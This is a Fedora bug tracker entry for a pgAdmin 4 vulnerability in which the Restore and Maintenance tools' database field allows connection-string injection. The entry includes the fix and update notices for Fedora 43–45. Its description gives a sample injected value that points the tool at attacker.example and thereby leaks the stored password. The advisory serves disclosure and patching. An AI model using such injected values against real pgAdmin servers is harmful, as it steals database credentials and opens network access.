Bug 2536446

Summary: CVE-2026-86862 pgadmin4: connection-string injection via the database field in the Restore and Maintenance tools [fedora-all]
Product: [Fedora] Fedora Reporter: Guilherme de Almeida Suckevicz <gsuckevi>
Component: pgadmin4Assignee: Sandro Mani <manisandro>
Status: CLOSED ERRATA QA Contact:
Severity: medium Docs Contact:
Priority: medium    
Version: rawhideCC: manisandro
Target Milestone: ---Keywords: Security, SecurityTracking
Target Release: ---   
Hardware: Unspecified   
OS: Unspecified   
Whiteboard: {"flaws": ["62db1491-7e05-4f95-9054-5bfd4fc11bf5"]}
Fixed In Version: pgadmin4-9.18-1.fc45 pgadmin4-9.18-1.fc44 pgadmin4-9.18-1.fc43 Doc Type: ---
Doc Text:
Story Points: ---
Clone Of: Environment:
Last Closed: 2026-09-27 00:29:01 UTC Type: ---
Regression: --- Mount Type: ---
Documentation: --- CRM:
Verified Versions: Category: ---
oVirt Team: --- RHEL 7.3 requirements from Atomic Host:
Cloudforms Team: --- Target Upstream Version:
Embargoed:
Bug Depends On:    
Bug Blocks: 2536122    

Description Guilherme de Almeida Suckevicz 2026-09-17 17:56:14 UTC
Disclaimer: Community trackers are created by Red Hat Product Security team on a best effort basis. Package maintainers are required to ascertain if the flaw indeed affects their package, before starting the update process.

pgAdmin 4's Restore and Maintenance tools passed the client-supplied 'database' field directly as the value of the --dbname option given to pg_restore and psql. libpq expands a database name containing an equals sign into a full connection string, and connection keywords embedded in that value take precedence over the --host and --port arguments that pgAdmin supplies. A value such as 'host=attacker.example port=5432 dbname=x' therefore redirected the utility to a server chosen by the requesting user rather than the server the operation was invoked against. Because pgAdmin exports the decrypted stored database password in the PGPASSWORD environment variable before executing the utility, the redirected connection presents that credential to the attacker-nominated endpoint, which may capture it. The redirection additionally permits outbound connections from the pgAdmin host to arbitrary network addresses, including hosts not otherwise reachable by the requesting user.

The behaviour is reachable by any authenticated user holding the tools_restore or tools_maintenance permission, both of which the default User role grants. The Maintenance tool was not affected in the earliest releases, where the value was wrapped by a quoting helper that incidentally prevented expansion; it became affected when that wrapper was removed.

The fix supplies the target database in the PGDATABASE environment variable, which libpq treats as a literal database name and never expands as a connection string. Where pg_restore requires a --dbname argument to be present, an empty value is passed, which contains no equals sign and is therefore not expanded, while the real name is taken from the environment.

This issue affects pgAdmin 4: from the introduction of the --dbname argument in the Restore and Maintenance tools before 9.18.

Comment 1 Fedora Update System 2026-09-18 19:45:07 UTC
FEDORA-2026-c070c47328 (pgadmin4-9.18-1.fc44) has been submitted as an update to Fedora 44.
https://bodhi.fedoraproject.org/updates/FEDORA-2026-c070c47328

Comment 2 Fedora Update System 2026-09-18 19:45:18 UTC
FEDORA-2026-dddd2792e3 (pgadmin4-9.18-1.fc43) has been submitted as an update to Fedora 43.
https://bodhi.fedoraproject.org/updates/FEDORA-2026-dddd2792e3

Comment 3 Fedora Update System 2026-09-18 19:45:29 UTC
FEDORA-2026-035cf95dc5 (pgadmin4-9.18-1.fc45) has been submitted as an update to Fedora 45.
https://bodhi.fedoraproject.org/updates/FEDORA-2026-035cf95dc5

Comment 4 Fedora Update System 2026-09-19 01:40:22 UTC
FEDORA-2026-035cf95dc5 has been pushed to the Fedora 45 testing repository.
Soon you'll be able to install the update with the following command:
`sudo dnf upgrade --enablerepo=updates-testing --refresh --advisory=FEDORA-2026-035cf95dc5`
You can provide feedback for this update here: https://bodhi.fedoraproject.org/updates/FEDORA-2026-035cf95dc5

See also https://fedoraproject.org/wiki/QA:Updates_Testing for more information on how to test updates.

Comment 5 Fedora Update System 2026-09-19 02:19:14 UTC
FEDORA-2026-c070c47328 has been pushed to the Fedora 44 testing repository.
Soon you'll be able to install the update with the following command:
`sudo dnf upgrade --enablerepo=updates-testing --refresh --advisory=FEDORA-2026-c070c47328`
You can provide feedback for this update here: https://bodhi.fedoraproject.org/updates/FEDORA-2026-c070c47328

See also https://fedoraproject.org/wiki/QA:Updates_Testing for more information on how to test updates.

Comment 6 Fedora Update System 2026-09-19 02:23:01 UTC
FEDORA-2026-dddd2792e3 has been pushed to the Fedora 43 testing repository.
Soon you'll be able to install the update with the following command:
`sudo dnf upgrade --enablerepo=updates-testing --refresh --advisory=FEDORA-2026-dddd2792e3`
You can provide feedback for this update here: https://bodhi.fedoraproject.org/updates/FEDORA-2026-dddd2792e3

See also https://fedoraproject.org/wiki/QA:Updates_Testing for more information on how to test updates.

Comment 7 Fedora Update System 2026-09-27 00:29:01 UTC
FEDORA-2026-035cf95dc5 (pgadmin4-9.18-1.fc45) has been pushed to the Fedora 45 stable repository.
If problem still persists, please make note of it in this bug report.

Comment 8 Fedora Update System 2026-09-27 00:57:18 UTC
FEDORA-2026-c070c47328 (pgadmin4-9.18-1.fc44) has been pushed to the Fedora 44 stable repository.
If problem still persists, please make note of it in this bug report.

Comment 9 Fedora Update System 2026-09-27 01:12:10 UTC
FEDORA-2026-dddd2792e3 (pgadmin4-9.18-1.fc43) has been pushed to the Fedora 43 stable repository.
If problem still persists, please make note of it in this bug report.